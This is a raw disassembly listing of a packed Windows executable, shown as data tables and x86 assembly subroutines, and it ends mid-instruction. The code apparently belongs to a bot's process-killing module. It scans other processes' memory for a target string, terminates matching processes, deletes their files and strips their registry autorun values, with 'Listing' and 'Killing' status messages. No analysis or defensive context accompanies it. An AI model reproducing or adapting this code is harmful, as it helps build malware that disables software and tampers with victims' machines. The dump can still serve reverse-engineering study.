13681B1Bh, 26A0EB1h, 13E6h, 13E5h, 0E630E64h, 59913FEh dd 13FB0598h, 141313FCh, 1E13A0h, 0 dd 20056h, 138813FDh, 14FD0076h, 14FEh, 0 dd 59A0599h, 16C016C1h, 740073h, 73h, 131F0067h, 109A0364h dd 13FE13FDh, 249B0000h, 249Ch, 0 dd 750000h, 76h, 760075h, 13AF0065h, 11416h, 249B0002h dd 242Ch, 700000h, 5990000h, 99059Ah, 240000h, 5Dh, 0F20989h dd 21010Dh, 0BEE0151h, 6BB0D59h, 78C0C8Ah, 7A50000h, 141507A6h dd 0E110E12h, 12FEh, 1390118h, 210000h, 15C0000h, 1, 2 dd 0 dd 16C216C1h, 10000h, 5970000h, 1E1A10CDh, 0 dd 1A0019h, 315h, 31A0003h, 171h, 1760003h, 0 dd 0D0A054Fh, 490000h, 0BC405BCh, 8EEh, 40DB7h, 13B0000h dd 0 dd 0EF00000h, 2 dup(0) dd 8ED0000h, 7C908EEh, 210321h, 0A1606D1h, 9000A15h, 11E008FFh dd 3 dup(0) dd 38208F7h, 576h, 3 dup(0) dd 33C033Bh, 15E015Dh, 3A6h, 90226h, 26AA013Bh, 0 dd 39E0000h, 2200000h, 0 dd 2C60000h, 0A4C0000h, 7900000h, 1F5h, 740000h, 50188h dd 274h, 2C80000h, 60Ah, 2 dup(0) dd 13F0000h, 14C000Bh, 5E20000h, 8 dup(0) dd 0C820000h, 60000h, 5370023h, 8EAh, 29D0000h, 0EA0h dd 2070000h, 53h, 54h, 53h, 2ED0000h, 2EEh, 207025Ch, 1E40024h dd 0 dd 8060873h, 32E006Eh, 2 dup(0) dd 9FC0000h, 0B0000h, 270035h, 2220203h, 1D0000h, 99C0469h dd 1870724h, 54A0594h, 3 dup(0) dd 40000h, 3, 15029Ah, 77401E2h, 51Bh, 46Eh, 32C034Bh dd 1850000h, 73A01A5h, 2 dup(0) dd 4320000h, 14Bh, 2B01E1h, 9F8h, 3BC0000h, 9Bh, 54A01B7h dd 3 dup(0) dd 21091Ah, 9B0000h, 3 dup(0) dd 32D0000h, 1F12E6h, 7Bh, 330033h, 2DC061Bh, 1D70000h dd 4C6h, 0 dd 0C709A3h, 11F0000h, 1BD20000h, 0Dh, 2 dup(0) dd 15h, 3 dup(0) dd 0CF00537h, 0B0000h, 38019Dh, 1CF00D7h, 119Fh, 0 db 68h, 1Ch word_3FFE5A dw 0 ; DATA XREF: kkrunchy:003EA44Co dd 0FFFFFF00h, 0FFFF00FFh, 0FF000000h, 2 dup(0FFFFFFFFh) dd 0FF00FFFFh, 2 dup(0FFFF0000h), 0FFFFFFh, 0FF00FFFFh dd 0FF0000h, 0FFFFFFFFh, 2 dup(0) dd 0FFFFFF00h, 0FFFFh, 0FF0000h, 0FFFFFF00h, 0 dd 0FFFFFF00h, 0FFFF0000h, 0FFFFFFFFh, 0 dd 0FFFF00h, 2 dup(0FFFFFFFFh), 0FF00FFh, 0FFFFFFh, 0FFFF00FFh dd 0FFFFFFFFh, 0FFFFFFh, 0FFFF00FFh, 0FFFFFFFFh, 0FF0000FFh dd 3 dup(0FFFFFFFFh), 0FF00FF00h, 0FFFFFFh, 0 dd 2 dup(0FFFFFFFFh), 2 dup(0FF00FFFFh), 2 dup(0FFFFFFFFh) dd 0FFFFh, 0Dh dup(0FFFFFFFFh), 0FFFF00FFh, 0FF00FFh, 2 dup(0FFFFFFFFh) dd 0FFh, 3 dup(0) dd 0FF0000FFh, 2 dup(0) dd 0FF00FFh, 0FF0000FFh, 0 dd 0FF000000h, 2 dup(0FFFFFFFFh), 0FFFFFF00h, 0FFFFFFh dd 0FFFFh, 0FF000000h, 3 dup(0FF00FF00h), 0FF00h, 0FF00FFh dd 3 dup(0) dd 0FFh, 0 dd 0FFh, 3 dup(0) dd 0FF000000h, 0FF00FFFFh, 0FFFFFFFFh, 0 dd 0FF000000h, 0FFFFFFFFh, 0FFFF00FFh, 0FF000000h, 0FF00FF00h dd 8 dup(0FFFFFFFFh), 0FF00FF00h, 0FFFF00FFh, 0FF00FFFFh dd 0FFFF00h, 0FFFFFF00h, 5 dup(0) dd 0FFFFFFh, 0FFFFFFFFh, 0FFFF0000h, 0FFFF00FFh, 0FFh dd 0 dd 0FFFFFFFFh, 0FF00h, 0FFFF00FFh, 0FFFFFFFFh, 2 dup(0FFFFFF00h) dd 0FFFFFFFFh, 0FF00FF00h, 0 dd 0FFFF00FFh, 0FF00FFh, 0FF0000h, 0FFFF00h, 0 dd 2 dup(0FF0000h), 0FFFFFFFFh, 0FF00FFh, 0FFFF00h, 0FFFFh dd 0 dd 0FFFF0000h, 0FFFFFFh, 0FF00h, 0FF00FF00h, 0FFFFFFFFh dd 2 dup(0) dd 0FF0000FFh, 0FFFF00FFh, 3 dup(0FFFFFFFFh), 0FF00FFh dd 2 dup(0FFFFFFFFh), 0FFFF00FFh, 2 dup(0FFFFFFFFh), 2 dup(0FFh) dd 2 dup(0FFFFFF00h), 3 dup(0FFFFFFFFh), 0FFFFFFh, 0FF00FFh dd 2 dup(0FFFFFFFFh), 0FF00FF00h, 0FFFFFF00h, 0FFFFFFFFh dd 0FF00FFFFh, 0FF00FFh, 0FFFF00h, 0FFFFFFFFh, 0FFFFh dd 0FFFFFFh, 0FF00FF00h, 2 dup(0FFFFFFFFh), 0FFh, 3 dup(0) dd 0FFFF0000h, 0FFFFFFh, 0 dd 0FF0000h, 0FFh, 0 dd 0FF00FFFFh, 0FFh, 0 dd 0FFh, 0 dd 0FF0000h, 0FF0000FFh, 0FFFFh, 0 dd 0FF0000h, 0FFFFFFFFh, 0FFFFh, 0FFFFFFFFh, 0FFh, 0FFFFFFFFh dd 0FF00FF00h, 0FF00h, 0FF00FFh, 2 dup(0FFFFFFFFh), 0FF00FFFFh dd 0FFFFFFFFh, 0FF00FF00h, 0FFFFFF00h, 0FFFF00h, 0FFFF0000h dd 2 dup(0FFFFFFh), 0FFh, 0FF00FFh, 0FFh, 2 dup(0FF00FFh) dd 0FF0000h, 0FF00h, 0FFh, 0FF00h, 0FFFF00FFh, 0FF00FFFFh dd 0FF00h, 0FF0000FFh, 0FF00FF00h, 0FF00h, 2 dup(0) dd 0FF0000h, 0 dd 0FF0000FFh, 0FF000000h, 0 dd 0FFh, 0FF00FF00h, 0FFFFFFFFh, 0 dd 0FF0000FFh, 0FF0000h, 2 dup(0) dd 0FFh, 0FF0000h, 0FFh, 3 dup(0FFFFFFFFh), 0FFFFFFh, 0 dd 0FFFFFFh, 0FFFF00h, 0FFFFFFFFh, 0FF00FFFFh, 0FFFFFFFFh dd 0FFFF00FFh, 0FF0000FFh, 0FFh, 0FFFFFFFFh, 0FFFF00FFh dd 0FFFFFFh, 0FF0000h, 0FFFF00h, 0FFFFFFFFh, 0FFFFFF00h dd 0FFh, 0 dd 0FFFFFFFFh, 0FF00FFFFh, 0FFFFFFFFh, 0FFFF00FFh, 3 dup(0FFFFFFFFh) dd 0FFFFh, 2 dup(0FFFFFFFFh), 4 dup(0) dd 0E8D70000h, 47F5C124h, 8B69FDA8h, 0FD6B89FFh, 0C0F649A6h dd 2D6E926h, 0C321E7D8h, 0FCA945F4h, 87FF8D67h, 4BA4FD6Dh dd 0EA28BEF6h, 0E6D904D4h, 43F4C41Fh, 8F65FCABh, 0FE6F85FFh dd 0BDF74EA3h, 0EB2Ah, 7 dup(0) dd 0FFFFFFFFh, 0FFFFFF00h, 0FFFFFFFFh, 0FF0000FFh, 0FFFFFF00h dd 2 dup(0FFFFFFFFh), 0FFh, 0FFFFFF00h, 0FFFF0000h, 0FFFFFFFFh dd 0FFFFh, 0FFFF00FFh, 0FFFFFFFFh, 0FFh, 0FFFFFF00h, 0FF00FF00h dd 0FFFFh, 0FF00h, 0FF0000h, 2 dup(0) dd 0FF00h, 0FF00FF00h, 6 dup(0FFFFFFFFh), 0FF000000h, 0FFFFFF00h dd 0FFFFFFFFh, 2 dup(0FF00FFh), 5 dup(0FFFFFFFFh), 0FFFF00FFh dd 2 dup(0FFFFFFFFh), 0FFFFFFh, 0FF000000h, 0FFFFFF00h dd 3 dup(0FFFFFFFFh), 0FF0000h, 3 dup(0FFFFFFFFh), 0FF00FFFFh dd 0FFFFFFFFh, 0FF0000h, 6 dup(0FFFFFFFFh), 0 dd 0FF00FF00h, 0FFFFFFh, 0FFFFFF00h, 4 dup(0FFFFFFFFh) dd 0FFFF00FFh, 0FF0000FFh, 0FF00h, 2 dup(0FFFFFFh), 2 dup(0) dd 0FFFF00h, 0FFFFFFFFh, 0 dd 0FFFFFF00h, 0FF00FFFFh, 0FFFFFFh, 0 dd 0FF000000h, 2 dup(0FFFFFF00h), 0FFFFFFFFh, 0FFFFFFh dd 2 dup(0FFFFFFFFh), 0FFFF0000h, 6 dup(0FFFFFFFFh), 2 dup(0FF00FFh) dd 0FFFF0000h, 3 dup(0FFFF00FFh), 4 dup(0FFFFFFFFh), 0FFFFFFh dd 0FF00FFh, 2 dup(0) dd 0FFFFFF00h, 2 dup(0) dd 0FFFFFFh, 0FFFF0000h, 2 dup(0FFFFFFFFh), 0FFFF0000h dd 0FFh, 0FFFF0000h, 0FFFFFFFFh, 0FFFFFFh, 0FF00FF00h dd 7 dup(0FFFFFFFFh), 0FFFFFF00h, 0FFFFFFFFh, 0FFFFFF00h dd 6 dup(0FFFFFFFFh), 0FFFFFF00h, 2 dup(0FFFFFFFFh), 0FFFF00FFh dd 0FFFFFFFFh, 0FF00FFh, 0FFFFFFh, 0 dd 0FF000000h, 0FFFFFFh, 7 dup(0FFFFFFFFh), 0FFFF00FFh dd 0FFFFFF00h, 3 dup(0FFFFFFFFh), 0FFFFFFh, 0FFFF0000h dd 2 dup(0FFFFFFFFh), 0FFFFFF00h, 0FFFFFFFFh, 0FF00FFFFh dd 0FFh, 2 dup(0) dd 0FFFF0000h, 4 dup(0FFFFFFFFh), 0FF00FFFFh, 0FFFFFFFFh dd 0FFFFFFh, 0FFFFFFFFh, 0FFFFFF00h, 0FFFFFFFFh, 0FF0000FFh dd 0FFFFFFFFh, 0FFFF00h, 0FFFFFFFFh, 0FF00FFFFh, 0FFFFFFFFh dd 0FFFFFF00h, 0FF00FFFFh, 0FFFFFF00h, 2 dup(0FFFF00FFh) dd 0FF0000FFh, 0FFFFFFFFh, 0FFFFFF00h, 0FF00FFFFh, 0FFFF00FFh dd 0FF00FFFFh, 0FFFFFFFFh, 0FFFFFF00h, 0FFFFFFFFh, 0FFFFFF00h dd 0FFFF0000h, 0FFFFFF00h, 0FFFF0000h, 0FFFFFFFFh, 0FF00FF00h dd 0FF000000h, 0FFFFFFFFh, 0FF00FFFFh, 0FFFFFF00h, 0FFFFFFFFh dd 0FF00FFFFh, 0FFFFFF00h, 0FFFF00h, 0FF00FFh, 0FFFFFFFFh dd 0FFFF00FFh, 0FF00FFFFh, 0FF00h, 0 dd 0FF000000h, 0FF00FFFFh, 0FF00FF00h, 0FFFF0000h, 0FFFFFFh dd 2 dup(0FFFFFFFFh), 0FFFFh, 0Dh dup(0) dword_400734 dd 12h dup(0) ; DATA XREF: kkrunchy:003EA450o db 2 dup(0) word_40077E dw 0 ; DATA XREF: kkrunchy:003EA454o dd 1, 2 dup(0) dd 10001h, 1, 0 dd 1, 10000h, 4 dup(0) dd 1, 10000h, 1, 0 dd 10000h, 3 dup(0) dd 10001h, 10000h, 0 dd 2 dup(1), 0 dd 1, 0 dd 1, 2 dup(0) dd 1, 2 dup(0) dd 1, 2 dup(0) dd 1, 0 dd 1, 0 dd 1, 0 dd 10000h, 2 dup(0) dd 1, 0Ch dup(0) dd 1, 4 dup(0) dd 10000h, 3 dup(0) dd 10000h, 0Eh dup(0) dd 10000h, 0Ah dup(0) dd 10000h, 6 dup(0) dd 10000h, 2 dup(1), 0 dd 1, 0 dd 10001h, 1, 10000h, 2 dup(0) dd 10000h, 10001h, 9 dup(0) dd 2 dup(10000h), 0Ah dup(0) dd 1, 5 dup(0) dd 1, 6 dup(0) dd 1, 2 dup(0) dd 10000h, 8 dup(0) dd 10000h, 0 dd 10000h, 2 dup(0) dd 3 dup(10000h), 10h dup(0) dd 1, 0Eh dup(0) dd 1, 0 dd 10000h, 11h dup(0) dd 1, 7 dup(0) dd 10001h, 1, 0Dh dup(0) dd 1, 0 dd 1, 5 dup(0) dd 1, 4 dup(0) dd 1, 3 dup(0) dd 10000h, 10001h, 0Ch dup(0) dd 10000h, 17h dup(0) dd 10001h, 0 dd 1, 0 dd 2 dup(10000h), 1, 6 dup(0) dd 10000h, 0 dd 10001h, 7 dup(0) dd 1, 5 dup(0) dd 10000h, 9 dup(0) dd 1, 23h dup(0) dd 1, 10001h, 19h dup(0) dd 3 dup(10001h), 1, 2 dup(0) dword_400DD4 dd 70F0506h, 7010107h, 24242407h, 24240524h, 24240505h ; DATA XREF: kkrunchy:003EA458o dd 35353505h, 3D393D35h, 3535353Dh, 7F052435h, 24240A9Ah dd 2 dup(24242424h), 868E8708h, 2424248Eh, 24882424h, 90868624h dd 24BEBE24h, 248D2424h, 2 dup(24242424h), 5050538h, 15150505h dd 24242424h, 3030324h, 5030303h, 3724240Bh, 24243939h dd 3E243E24h, 3E3E3E24h, 2401353Eh, 35353131h, 2424FDFDh dd 24022470h, 24243030h, 24B8BB31h, 0F303024h, 2424240Fh dd 8082408h, 38332424h, 24243808h, 3 dup(24242424h), 24062424h dd 24242424h, 7240724h, 24242407h, 24242424h, 30242424h dd 535350Bh, 24300D15h, 24522424h, 5052424h, 2424243Dh dd 1F1F2424h, 1181808h, 1110231h, 1013707h, 0D383838h dd 8380838h, 5059D06h, 10312406h, 31103131h, 3E311031h dd 103E3E10h, 103E103Eh, 2410103Eh, 3A3A0631h, 3232073Ah dd 24242432h, 37242424h, 37373737h, 24373737h, 302430D8h dd 24242424h, 160E2406h, 3A193333h, 19333E17h, 17160A0Ah dd 0A0B3937h, 31373716h, 1E133A0Bh, 0F0A0B31h, 193B3716h dd 33170E0Ah, 1E1A191Fh, 33323137h, 160A191Fh, 1A193B37h dd 2 dup(1A191F1Eh), 24243716h, 24240624h, 6242424h, 6242406h dd 85858506h, 85858585h, 37373785h, 35353503h, 9D1D3535h dd 2 dup(24242424h), 3D3524h, 24242405h, 24062424h, 0D0505C0h dd 18004100h, 24181841h, 800E8024h, 240F800Eh, 24242424h dd 2240805h, 24353531h, 5050D24h, 24242424h, 30242405h dd 0D0D0224h, 63D060Dh, 63D3D06h, 8D052424h, 3031318Fh dd 31303031h, 2424243Dh, 24242424h, 5242424h, 24242405h dd 0Ch dup(24242424h) ; =============== S U B R O U T I N E ======================================= sub_400FFC proc near ; DATA XREF: kkrunchy:003EA460o and al, 24h and al, 24h sub_400FFC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: sub_40110A+30p ; sub_40110A+3Ep ... var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = byte ptr -58h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 260h push ebx xor ebx, ebx cmp off_413000, ebx mov [ebp+var_C], ebx jz loc_401104 push esi mov eax, offset off_413000 push edi mov edi, dword_412008 mov [ebp+var_18], eax mov esi, 104h loc_401030: ; CODE XREF: sub_401000+FCj push dword ptr [eax] lea eax, [ebp+var_58] push eax call sub_4114B8 ; _mbscpy lea eax, [ebp+var_58] push eax call sub_40B5E1 add esp, 0Ch lea eax, [ebp+var_8] push eax push 3 lea eax, [ebp+var_58] push ebx push eax push [ebp+arg_0] call dword_412000 ; RegOpenKeyExA lea eax, [ebp+var_4] mov [ebp+var_10], ebx push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_260] mov [ebp+var_14], esi push eax mov [ebp+var_4], esi push ebx loc_401080: ; CODE XREF: sub_401000+E6j push [ebp+var_8] call edi ; RegEnumValueA test eax, eax jnz short loc_4010E8 cmp [ebp+var_1C], 1 jnz short loc_4010BF push [ebp+arg_4] lea eax, [ebp+var_15C] push [ebp+var_4] push eax call sub_405A0D add esp, 0Ch test eax, eax jz short loc_4010BF lea eax, [ebp+var_260] push eax push [ebp+var_8] call dword_412004 ; RegDeleteValueA test eax, eax jnz short loc_4010BF inc [ebp+var_C] loc_4010BF: ; CODE XREF: sub_401000+8Dj ; sub_401000+A6j ... lea eax, [ebp+var_4] inc [ebp+var_10] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_260] mov [ebp+var_14], esi push eax mov [ebp+var_4], esi push [ebp+var_10] jmp short loc_401080 ; --------------------------------------------------------------------------- loc_4010E8: ; CODE XREF: sub_401000+87j push [ebp+var_8] call dword_412028 ; RegCloseKey mov eax, [ebp+var_18] add eax, 4 mov [ebp+var_18], eax cmp [eax], ebx jnz loc_401030 pop edi pop esi loc_401104: ; CODE XREF: sub_401000+15j mov eax, [ebp+var_C] pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40110A proc near ; CODE XREF: sub_4011C4+23Bp ; sub_407A76+68Ep var_104 = byte ptr -104h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 104h push ebx push esi mov esi, [ebp+arg_0] push edi push 80h push esi call dword_4120B0 ; SetFileAttributesA test eax, eax jz loc_4011BF push esi call dword_4120B8 ; DeleteFileA push esi push 80000001h call sub_401000 mov ebx, 80000002h push esi push ebx mov edi, eax call sub_401000 add esp, 10h add eax, edi jnz short loc_4011BF mov edi, 104h lea eax, [ebp+var_104] push edi push esi push eax call sub_4059C2 lea eax, [ebp+var_104] push eax call sub_4114BE ; strlen add esp, 10h test eax, eax jz short loc_40119E loc_40117A: ; CODE XREF: sub_40110A+78j cmp byte ptr [esi+eax-1], 5Ch jz short loc_401186 dec eax jnz short loc_40117A jmp short loc_40119E ; --------------------------------------------------------------------------- loc_401186: ; CODE XREF: sub_40110A+75j lea eax, [ebp+eax+var_104] push edi push eax lea eax, [ebp+var_104] push eax call sub_4059C2 add esp, 0Ch loc_40119E: ; CODE XREF: sub_40110A+6Ej ; sub_40110A+7Aj lea eax, [ebp+var_104] push eax push 80000001h call sub_401000 lea eax, [ebp+var_104] push eax push ebx call sub_401000 add esp, 10h loc_4011BF: ; CODE XREF: sub_40110A+1Dj ; sub_40110A+48j pop edi pop esi pop ebx leave retn sub_40110A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4011C4 proc near ; DATA XREF: sub_4014B0+74o var_3D0 = byte ptr -3D0h var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_2C7 = dword ptr -2C7h var_2C3 = byte ptr -2C3h var_2C2 = byte ptr -2C2h var_1C3 = byte ptr -1C3h var_2B = byte ptr -2Bh var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3D0h push 2ACh lea eax, [ebp+var_2CC] push [ebp+arg_0] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free add esp, 10h cmp [ebp+var_2C8], 0 jz short loc_401218 lea eax, [ebp+var_2C3] push eax mov eax, [ebp+var_2CC] push dword ptr [eax] lea eax, [ebp+var_1C3] push offset dword_413144 push eax call sub_4096CB add esp, 10h loc_401218: ; CODE XREF: sub_4011C4+2Fj push ebx push esi call sub_404639 mov esi, eax xor ebx, ebx cmp esi, ebx jz loc_40149C push edi push 10000h call sub_4114C4 ; malloc cmp [esi], ebx pop ecx mov [ebp+arg_0], eax mov [ebp+var_8], ebx mov [ebp+var_10], ebx jle loc_40143E xor edi, edi loc_40124A: ; CODE XREF: sub_4011C4+269j call dword_4120F0 ; GetCurrentProcessId mov ecx, [esi+4] cmp [edi+ecx], eax jz loc_40141F lea eax, [ebp+var_3D0] push 104h push eax push ebx call dword_412094 ; GetModuleHandleA push eax call dword_412098 ; GetModuleFileNameA mov eax, [esi+4] lea eax, [edi+eax+0Ch] push eax lea eax, [ebp+var_3D0] push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jz loc_40141F mov eax, [esi+4] push dword ptr [edi+eax] mov al, [ebp+var_2C8] neg al sbb eax, eax push ebx add eax, 11h push eax call dword_41209C ; OpenProcess cmp eax, ebx mov [ebp+var_4], eax jz loc_40141F xor edx, edx mov [ebp+var_C], ebx mov [ebp+var_20], edx loc_4012C2: ; CODE XREF: sub_4011C4+1DAj mov eax, [esi+4] mov [ebp+var_18], 10000h add eax, edi mov ecx, [eax+8] sub ecx, edx cmp ecx, 10000h ja short loc_4012DE mov [ebp+var_18], ecx loc_4012DE: ; CODE XREF: sub_4011C4+115j mov eax, [eax+4] lea ecx, [ebp+var_C] push ecx add eax, edx push [ebp+var_18] push [ebp+arg_0] push eax push [ebp+var_4] call dword_4120A0 ; ReadProcessMemory test eax, eax jz loc_40138A cmp [ebp+var_C], ebx jz loc_40138A xor ecx, ecx loc_40130A: ; CODE XREF: sub_4011C4+1B9j mov eax, [ebp+arg_0] mov al, [ecx+eax] cmp al, [ebp+var_2C3] jz short loc_401330 movsx edx, al movsx eax, [ebp+var_2C3] lea ebx, [eax+20h] cmp edx, ebx jz short loc_401330 add eax, 0FFFFFFE0h cmp edx, eax jnz short loc_401371 loc_401330: ; CODE XREF: sub_4011C4+152j ; sub_4011C4+163j lea eax, [ebp+var_2C2] mov [ebp+var_14], eax mov eax, [ebp+arg_0] lea eax, [ecx+eax+1] mov [ebp+var_1C], eax loc_401343: ; CODE XREF: sub_4011C4+1ABj mov eax, [ebp+var_14] mov dl, [eax] test dl, dl jz short loc_401381 mov eax, [ebp+var_1C] mov al, [eax] cmp dl, al jz short loc_401369 movsx eax, al movsx edx, dl lea ebx, [eax+20h] cmp edx, ebx jz short loc_401369 add eax, 0FFFFFFE0h cmp edx, eax jnz short loc_401371 loc_401369: ; CODE XREF: sub_4011C4+18Fj ; sub_4011C4+19Cj inc [ebp+var_1C] inc [ebp+var_14] jmp short loc_401343 ; --------------------------------------------------------------------------- loc_401371: ; CODE XREF: sub_4011C4+16Aj ; sub_4011C4+1A3j mov eax, [ebp+var_C] inc ecx sub eax, [ebp+var_2C7] cmp ecx, eax jbe short loc_40130A jmp short loc_40138A ; --------------------------------------------------------------------------- loc_401381: ; CODE XREF: sub_4011C4+186j mov eax, [ebp+arg_0] add ecx, eax test ecx, ecx jnz short loc_4013A3 loc_40138A: ; CODE XREF: sub_4011C4+135j ; sub_4011C4+13Ej ... mov edx, [ebp+var_20] mov eax, [esi+4] add edx, [ebp+var_18] cmp edx, [edi+eax+8] mov [ebp+var_20], edx jz short loc_401414 xor ebx, ebx jmp loc_4012C2 ; --------------------------------------------------------------------------- loc_4013A3: ; CODE XREF: sub_4011C4+1C4j inc [ebp+var_8] cmp [ebp+var_2C8], 0 jz short loc_4013EC push 3E8h call dword_4120A4 ; Sleep mov bl, [ebp+var_2B] and [ebp+var_2B], 0 mov eax, [esi+4] add eax, edi push dword ptr [eax] add eax, 0Ch push eax lea eax, [ebp+var_2C3] push eax lea eax, [ebp+var_1C3] push offset dword_41311C push eax call sub_4096CB add esp, 14h mov [ebp+var_2B], bl jmp short loc_401405 ; --------------------------------------------------------------------------- loc_4013EC: ; CODE XREF: sub_4011C4+1E9j push 0 push [ebp+var_4] call dword_4120A8 ; TerminateProcess mov eax, [esi+4] lea eax, [edi+eax+0Ch] push eax call sub_40110A pop ecx loc_401405: ; CODE XREF: sub_4011C4+226j mov eax, [ebp+var_2CC] xor ebx, ebx cmp [eax+4], ebx jnz short loc_401435 jmp short loc_401416 ; --------------------------------------------------------------------------- loc_401414: ; CODE XREF: sub_4011C4+1D6j xor ebx, ebx loc_401416: ; CODE XREF: sub_4011C4+24Ej push [ebp+var_4] call dword_4120AC ; CloseHandle loc_40141F: ; CODE XREF: sub_4011C4+92j ; sub_4011C4+CAj ... inc [ebp+var_10] add edi, 114h mov eax, [ebp+var_10] cmp eax, [esi] jl loc_40124A jmp short loc_40143E ; --------------------------------------------------------------------------- loc_401435: ; CODE XREF: sub_4011C4+24Cj push [ebp+var_4] call dword_4120AC ; CloseHandle loc_40143E: ; CODE XREF: sub_4011C4+7Ej ; sub_4011C4+26Fj push esi call sub_404854 push [ebp+arg_0] call sub_4114CA ; free cmp [ebp+var_2C8], 0 pop ecx pop ecx pop edi jz short loc_40149C push 3E8h call dword_4120A4 ; Sleep cmp [ebp+var_8], ebx lea eax, [ebp+var_2C3] push eax jnz short loc_401485 lea eax, [ebp+var_1C3] push offset dword_4130F8 push eax call sub_4096CB add esp, 0Ch jmp short loc_40149C ; --------------------------------------------------------------------------- loc_401485: ; CODE XREF: sub_4011C4+2A9j push [ebp+var_8] lea eax, [ebp+var_1C3] push offset dword_4130CC push eax loc_401494: ; DATA XREF: kkrunchy:off_415DACo call sub_4096CB add esp, 10h loc_40149C: ; CODE XREF: sub_4011C4+61j ; sub_4011C4+292j ... push [ebp+var_2CC] call sub_406E6F pop ecx pop esi xor eax, eax pop ebx leave retn 4 sub_4011C4 endp ; =============== S U B R O U T I N E ======================================= sub_4014B0 proc near ; CODE XREF: sub_407A76+6AFp var_10 = dword ptr -10h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_401531 push edi call sub_4114BE ; strlen test eax, eax pop ecx jz short loc_401531 push 2ACh call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_401531 push ebx mov bl, [esp+0Ch+arg_8] push edi mov [esi+4], bl call sub_4114BE ; strlen mov [esi+5], eax mov [esp+10h+var_10], 100h lea eax, [esi+9] push edi push eax call sub_4114D6 ; strncpy push [esp+18h+arg_0] lea eax, [esi+109h] push eax call sub_40457C add esp, 14h mov eax, offset aListing ; "Listing" test bl, bl pop ebx jnz short loc_40151A mov eax, offset aKilling ; "Killing" loc_40151A: ; CODE XREF: sub_4014B0+63j push edi push eax push offset dword_413174 push 0 push esi push offset sub_4011C4 call sub_406D58 add esp, 18h loc_401531: ; CODE XREF: sub_4014B0+8j ; sub_4014B0+13j ... pop edi pop esi retn sub_4014B0 endp ; =============== S U B R O U T I N E ======================================= sub_401534 proc near ; CODE XREF: sub_401621:loc_40188Dp mov eax, dword_4191C4 push esi mov esi, dword_4120AC cmp eax, 0FFFFFFFFh jz short loc_401548 push eax call esi ; CloseHandle loc_401548: ; CODE XREF: sub_401534+Fj mov eax, dword_4191B8 cmp eax, 0FFFFFFFFh jz short loc_401555 push eax call esi ; CloseHandle loc_401555: ; CODE XREF: sub_401534+1Cj mov eax, dword_4191BC cmp eax, 0FFFFFFFFh jz short loc_401562 push eax call esi ; CloseHandle loc_401562: ; CODE XREF: sub_401534+29j mov eax, dword_4191C0 cmp eax, 0FFFFFFFFh jz short loc_40156F push eax call esi ; CloseHandle loc_40156F: ; CODE XREF: sub_401534+36j pop esi retn sub_401534 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401571 proc near ; CODE XREF: sub_401621+228p ; sub_401621+252p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 200h push esi mov esi, [ebp+arg_0] cmp byte ptr [esi+189h], 0 jnz short loc_401590 cmp byte ptr [esi+18Dh], 0 jz short loc_4015CE loc_401590: ; CODE XREF: sub_401571+14j ; sub_401571+49j ... push 32h call dword_4120A4 ; Sleep cmp byte ptr [esi+189h], 0 jz short loc_4015B3 call sub_4114E2 ; clock sub eax, dword_4191CC cmp eax, 1F4h jnb short loc_4015CE loc_4015B3: ; CODE XREF: sub_401571+2Ej cmp byte ptr [esi+18Dh], 0 jz short loc_401590 call sub_4114E2 ; clock sub eax, dword_4191CC cmp eax, 0FAh jb short loc_401590 loc_4015CE: ; CODE XREF: sub_401571+1Dj ; sub_401571+40j call sub_4114E2 ; clock mov ecx, [ebp+arg_4] mov dword_4191CC, eax mov al, [ecx] cmp al, 0Ah jz short loc_4015FC cmp al, 0Dh jz short loc_4015FC push 200h lea eax, [ebp+var_200] push ecx push eax call sub_4059C2 add esp, 0Ch jmp short loc_40160F ; --------------------------------------------------------------------------- loc_4015FC: ; CODE XREF: sub_401571+6Ej ; sub_401571+72j lea eax, [ebp+var_200] push offset dword_4131A4 push eax call sub_4114DC ; sprintf pop ecx pop ecx loc_40160F: ; CODE XREF: sub_401571+89j lea eax, [ebp+var_200] push eax push esi call sub_4096CB pop ecx pop ecx pop esi leave retn sub_401571 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401621 proc near ; DATA XREF: sub_4018D5+73o var_724 = byte ptr -724h var_620 = byte ptr -620h var_420 = dword ptr -420h var_21C = byte ptr -21Ch var_78 = dword ptr -78h var_4C = dword ptr -4Ch var_48 = word ptr -48h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 724h push ebx push esi push edi push 3A7h push [ebp+arg_0] lea eax, 